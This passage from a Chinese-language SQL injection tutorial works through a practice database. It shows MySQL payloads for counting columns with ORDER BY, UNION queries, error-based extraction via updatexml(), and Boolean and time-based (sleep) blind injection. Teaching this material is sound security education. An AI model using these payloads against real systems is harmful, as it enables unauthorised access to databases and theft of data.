order by列出该表中的字段数(有几列),有上图可以看出有三列,如果order by的值超过3后,mysql就会出错,无法正常显示内容 select * from users order by 3;
union联合查询,将union跟到查询语句最后,可以再查询数据
由此可知,我们可以通过union再查询到更多的数据
(2)报错注入
在mysql中如果使用updatexml()时,mysql就会报错,回显的报错内容有用的,所以可以通过这个函数进行注入 select * from users where username=‘Bun’ and updatexml(1,concat(0x7e,(select database()),0x7e),1);
报错的内容只能显示一个数据数据元素,所以利用该函数只能精确到某一表的某一列某一行元素 select * from users where username=‘Bun’ and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1);
(3)盲注
盲注是sql注入中比较难的部分,因为服务器不会显示报错信息而得名盲注
盲注分为布尔型(Boolean)和时间型(time)
时间型盲注的sql语句和布尔盲注的sql语句差不多,时间型sql语句只是在布尔型外边套几个函数而已
(3.1)Boolean型
类似与and 1=1的判断,如果满足条件,正常回显,如果不满足条件,不回显 select * from users where username=‘Dumb’ and length(database()) = 8;
判断出长度,接着就可以爆出数据库名,使用substr()函数 select * from users where username=‘Dumb’ and substr(database(),1,1) = ‘s’;
(3.2)Time型
基本上是布尔型的sql语句外面套了一个if语句,只不过,如果正确执行会睡眠一段时间,由此判断是否存在注入 select * from users where username=‘Dumb’ and if(length(database()) = 9,sleep(5),1);